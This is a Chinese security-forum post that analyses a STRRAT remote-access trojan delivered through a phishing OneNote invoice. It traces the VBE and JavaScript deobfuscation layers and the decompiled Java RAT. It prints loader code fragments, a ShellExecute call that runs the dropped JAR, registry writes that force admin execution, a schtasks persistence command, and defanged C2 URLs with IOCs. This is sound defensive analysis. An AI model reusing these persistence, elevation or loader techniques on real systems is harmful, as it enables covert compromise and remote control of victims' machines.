请选择 进入手机版 | 继续访问电脑版

DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 308|回复: 0

[样本分析] 对 OneNote 传播 STRRAT 恶意样本分析

[复制链接]

147

主题

164

帖子

20

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
269
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理

发表于 2023-4-9 20:40:50 | 显示全部楼层 |阅读模式
已经过 zeronohacker 作者授权转发

一、前述


4 月 7 日凌晨 3 点,Unit42 在 Twitter 上发表了一个关于通过 OneNote 进行传播恶意软件的样本推文。从最近国外安全媒体及安全人员发布的信息来看,如今用 OneNote 进行钓鱼的恶意事件逐渐增多,以前也分析过一些 Office 恶意样本,主要是 word 类,但 OneNote 的至今没分析过,看到 Unit42 发的这条推文,兴趣上来了,遂将此样本下下来研究一番探其究竟,这也是我第一次分析 OneNote 恶意样本。

图片1.png

二、露出原形


样本信息

图片2.png

打开后如下

图片3.png

上面提示双击 View Invoice 后再点击 Allow 即可查看后面被模糊的内容,一般像这种的,对于分析过 Office 类的恶意样本老手就再也熟悉不过了,妥妥地为骗局,在 View Invoice 后隐藏了三个 vbe 脚本文件,如下

图片4.png

哎哟 ~ 还间隔排在一起 (均匀分布),是生怕受害者点不到是吧,因为这三个文件为同一个文件,文件名为 ..vbe,以 . 为名称会被系统自动隐藏。

三、一层混淆


..vbe 文件中的内容已被混淆,如下

图片5.png

下面需要对其进行反混淆,在 110 行处看到 #@~^ 特殊字符 (好像在哪见过),想了一下,记得很早之前 Didier Stevens 写了一个关于对 VBE 的解混淆工具,地址:https://blog.didierstevens.com/?s=decode-vbe,使用此工具进行解码,如下:

图片6.png

工具报错,不过这个工具写的时间比较早,还是 16 年,后面也没再更新,看看它的源码,报错提示不能使用字符串模式应用在字节类对象上,可能是需要 Python2 版本 (后面试了下确实是)

图片7.png

但现在基本都是 3 版本,稍微变通一下,在 search 方法中,将 conntent 改为 content.decode() 就可解决,将输出结果重定向到一个新文件中方便查看,如下:

图片8.png

导出来的代码还是被混淆了。

三、二层混淆


现在需要对二层混淆的代码进行反混淆,如下

图片9.png

iZ 变量的值被 # 符号分隔,每个为数学表达式,计算出每个表达式的值,再将其转为相应的字符,最后使用 eXecuTe 方法来执行解码过后的代码,如下:

图片10.png

四、三层混淆


经第二层解混淆后的代码中的 b 变量值被编码了,需要对其进行解码,同样进行调试分析

图片11.png

随机生成一个名称为 8 个字符的 js 文件,将解密出来的代码保存在这个 js 文件中,同样也是被混淆了

图片12.png

三层混淆的代码任务是执行此 js 文件 (调用 Run 方法执行)。

五、四层混淆


使用 https://github.com/Cqxstevexw/decodeObfuscator 工具对其进行简单处理

图片13.png

然后再对此 JS 代码进行调试

图片14.png

js 代码会先去判断机器的操作系统及位数再去下载 JRE,下载的 JRE 版本为 1.8,下载目录为用户的临时目录,名称也为随机的 8 个字符

  1. // 随机 8 个字符作为名称
  2. function randomString(_0xfa7bxaa, _0xfa7bxab) {
  3.   _0xfa7bxab = _0xfa7bxab || _0x21b8(330);
  4.   var _0xfa7bxad = _0x24bb[141];

  5.   for (var _0xfa7bxae = 0; _0xfa7bxae < _0xfa7bxaa; _0xfa7bxae++) {
  6.     var _0xfa7bxaf = Math[_0x21b8(374)](Math[_0x24bb[150]]() * _0xfa7bxab[_0x21b8(387)]);

  7.     _0xfa7bxad += _0xfa7bxab[_0x21b8(400)](_0xfa7bxaf, _0xfa7bxaf + 1);
  8.   }

  9.   return _0xfa7bxad;
  10. }

  11. // 获取操作系统类型
  12. function getOS() {
  13.   OsType = readFromRegistry(_0x24bb[156], _0x21b8(369), _0x24bb[93]);

  14.   if (OsType === _0x21b8(359)) {
  15.     return _0x21b8(359);
  16.   } else {
  17.     return _0x21b8(384);
  18.   }
  19. }

  20. // 解压 JRE 文件
  21. function UnZIPJRE(_0xfa7bxbe, _0xfa7bxbf) {
  22.   ExtractTo = _0xfa7bxbf + _0x21b8(409);

  23.   var _0xfa7bxc1 = new ActiveXObject(_0x24bb[117]);

  24.   !_0xfa7bxc1[_0x21b8(370)](ExtractTo) && _0xfa7bxc1[_0x24bb[49]](ExtractTo);

  25.   var _0xfa7bxc2 = new ActiveXObject(_0x21b8(303)),
  26.       _0xfa7bxc3 = _0xfa7bxc2[_0x21b8(349)](_0xfa7bxbe)[_0x21b8(337)]();

  27.   _0xfa7bxc2[_0x21b8(349)](ExtractTo)[_0x24bb[23]](_0xfa7bxc3, 4);

  28.   return ExtractTo;
  29. }

  30. // 解压 JAR 文件
  31. function UnZIPJar(_0xfa7bxc5, _0xfa7bxc6) {
  32.   ExtractTo = _0xfa7bxc6 + _0x21b8(344);

  33.   var _0xfa7bxc8 = new ActiveXObject(_0x21b8(295));

  34.   !_0xfa7bxc8[_0x24bb[66]](ExtractTo) && _0xfa7bxc8[_0x24bb[49]](ExtractTo);

  35.   var _0xfa7bxc9 = new ActiveXObject(_0x24bb[125]),
  36.       _0xfa7bxca = _0xfa7bxc9[_0x21b8(349)](_0xfa7bxc5)[_0x24bb[33]]();

  37.   _0xfa7bxc9[_0x21b8(349)](ExtractTo)[_0x21b8(327)](_0xfa7bxca, 4);

  38.   return ExtractTo;
  39. }
复制代码

图片15.png

最后执行 auz.jar 这个文件

  1. // shell_execute[_0x24bb[73]](JRE, _0x21b8(336) + zip + _0x24bb[140], _0x24bb[141], _0x24bb[141], 0);
  2. shell_execute['ShellExecute'](JRE, 'normalize' + zip + 'auz.jar', '', '', 0);
复制代码

六、最终魔王


使用 jadx 对其进行反编译,入口 main.Mainx0;,如下

图片16.png

6.1 Main 类


在 main 方法执行之前首先执行的 static 静态块,如下

图片17.png

llIIllIIIl() 对加密的字符串解码

图片18.png

解码后的值

图片19.png

图片20.png

图片21.png

解码完成后通过 http://geoplugin.net/json.gp?ip= 接口来获取用户当前所处的位置信息并以返回的 geoplugin_countryCode 字段值命名生成 [geoplugin_countryCode].bat 文件,不过在调试我有个疑惑,如下为判断当前位置处

图片22.png

图片23.png

光标所在处的代码意思是这个字段中难道会返回多个值?如果有知道的可以在下方留言,但这个肯定与老毛子有关。静态块初始完成后,会去判断给 Main 传的参数是否带有 elevate,如果带有则执行一些操作后最后关机

图片24.png

6.2 zonesthesia 类


zonesthesia 类中的 static 块初始化解码字符如下

图片25.png

在 Main 类的执行开始处,从中有三处就执行了 rivingly 方法,第一处是获取注册表中 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System 下的 ConsentPromptBehaviorAdmin 项的值,查阅下官方文档 (https://learn.microsoft.com/en-u ... 0-85fc-fa1cc04038d4),5 为默认值,用于在管理员批准模式下提示管理员为需要提升任何非 Windows 二进制文件特权的操作选择允许或拒绝。如果同意管理员选择允许,操作将以最高可用权限继续;第二处是获取 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 下的 EnableLUA 项的值,对计算机进行更改时是否将 UAC 通知用户 (UAC 以前称为 LUA);第三处是还是获取 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System 下的 ConsentPromptBehaviorAdmin 项的值。

6.3 unhewn 类


unhewn 类中的 static 块初始化解码字符如下

图片26.png

在执行完 zonesthesia 类中的 rivingly() 方法后,就接着执行 unhewn 类中的 rivingly() 方法

rivingly() 方法内主要有以下操作:

  • WindowsRegOpenKey(-2147483647,"Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers",983103)
  • WindowsRegSetValueEx(0,"C:\Program Files\Java\jdk1.8.0_361\jre\bin\javaw.exe","~ RUNASADMIN")
  • WindowsRegCloseKey(0)

-2147483647 即 0x80000001,表示 HKEY_CURRENT_USER,983103 即 0xF003F,表示 KEY_ALL_ACCESS,目的是以管理员权限运行 javaw.exe,在 windows 中,在右键点击文件属性弹出框中

图片27.png

上面的所有选项都写在注册表中,其中更改所有用户的设置保存在 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers 中,当前用户设置保存在 HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers 中。
注意,以上操作只在给 main 传入参数带有 elevate 时才会执行,当不带有时会去判断当前是否存在 javaw.exe 进程,若存在则直接退出,不存在则执行 cicale 类中方法

图片28.png

6.4 cicale 类


cicale 类中的 static 块初始化解码字符如下

图片29.png

macarized() 获取电脑名、用户名、处理器标识符和处理器级别,将它们拼接在一起再计算其 MD5 值

图片30.png

唉 ~,这 MD5 值不对啊,原因是这样的,这里把它分成了 16 组,每组两位,每两位以十六进制表示,判断其位数是否为 1 位,若是则会以 48 替代,所以这里生成 MD5 值成了 33 位了

图片31.png

最后取 MD5 值的前 6 位 1b737c

图片32.png

接着去判断当前运行的所在目录是否在 APPDATA (C:\Users\zeronohacker\AppData\Roaming) 下,显然当前不是,所以返回 1 (true),再调用 rivingly() 方法,此方法会再去调用 prepenetrating 类的 rivingly() 方法

图片33.png

6.5 prepenetrating 类


prepenetrating 类中的 static 块初始化解码字符如下

图片34.png

来到 rivingly() 方法处,传入三个参数,第一个参数为前 33 位 MD5 值的前 6 位,第二个参数为 33 位 MD5 值,第三个参数为 log 字符串

图片35.png

判断是否存在 C:\Users\zeronohacker\AppData\Roaming\1b737c 目录,若不存在则创建,并将其设置了隐藏目录,最后生成将 MD5 值的前 6 位、APPDATA 值、33 位值和 log 字符串进行拼接成需要生成的文件

图片36.png

其实这个 log 文件就是本身,创建一个名为 JavaConnect 计划任务,每间隔一小时执行在临时目录下的 log 文件

  1. cmd /c schtasks /create /tn "JavaConnect" /tr "C:\Program Files\Java\jdk1.8.0_361\jre\bin\javaw.exe" -jar "C:\Users\zeronohacker\AppData\Roaming\1b737c\1b737c84b311b3321ccd5050f2253c48f.log" /sc minute /mo 60
复制代码

图片37.png

最后返回到 Main 中执行 while 死循环中的 jacklight() 函数,RAT 的基本全部功能都位于 jacklight() 函数中

图片38.png

由于 jadx 对其反编译错误,jacklight() 函数代码已乱套,暂且通过手动还原代码来分析。
[h3]6.6 核心函数 jacklight()
进入到 jacklight() 函数中,首先创建 biostratigraphy 类,biostratigraphy 类中静态初始化解密相关字符串如下

图片39.png

查看 biostratigraphy 类相关方法可得知此类主要负责与网络连接相关,接着调用 macarized() 函数

图片40.png

前两个地址目前已无法访问,只有第三个地址现在还存活

  1. https[:]//adrenalinecyber.com/login/api.php?action=getIpAddress
  2. https[:]//adrenalinecyber.com/login/api.php?action=getIpAddress
  3. https[:]//www.paradisodomenico.it/wp-content/api.php?action=getIpAddress
复制代码

获取 IP、电脑名、用户名、MAC 地址、所在国家和当前是否为管理员模式 (当前是读 HKEY_USERS\S-1-5-19)

图片41.png

将用户信息上传,至于返回信息是啥暂且不清楚,因为地址已失效

图片42.png

不过从访问网址来看,有两个动作,一个是 get_anytask,另一个是 get_tasklist。后面就不再继续添加写了,就另外纯静态分析下。判断返回内容是否包含 kill,其中进入一个 while 循环,这个循环里会将一段 vbs 内容写入到用户临时目录下,文件名为 [country-code].bat,从上面可看出参数带有 elevate,前面对 unhewn 类分析中提到的,可回过头看看。

图片43.png

判断是否包含 brower,是否支持浏览,实现远程打开网址

图片44.png

判断是否包含 download,实现远程下载

图片45.png

判断是否包含 vnc,paralinguistics 类中实现与 vnc 相关操作

图片46.png

至此已基本分析结束,此 STRRAT 远控功能比较简单,都是一个 RAT 具备的基本功能,没什么特别的地方。

七、总结


利用 Office 大三件套传播恶意软件在安全界已司空见惯,现今连笔记软件 OneNote 也不放过。虽此次传播只是换了不同以往的载体,但套路还是基本没变,也可能还有新套路,可能是我没见过,或现已出现我还未知,不过还是能期盼遇到 OneNote 高级恶意样本。

八、IOC


HASH

  • 0008069a7d4f9e1539473085c723edd7c647dc7982ae536a3ee7de2bfc24471e
  • 2792f3aa4b0f15c488c32bcd1e03afd8 - auz.jar

URL

  • https[:]//adrenalinecyber.com/login/
  • https[:]//www.paradisodomenico.it/wp-content/

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|小黑屋|DecoyMini 技术交流社区 ( 京ICP备2021005070号 )

GMT+8, 2023-5-29 06:19 , Processed in 0.065476 second(s), 30 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表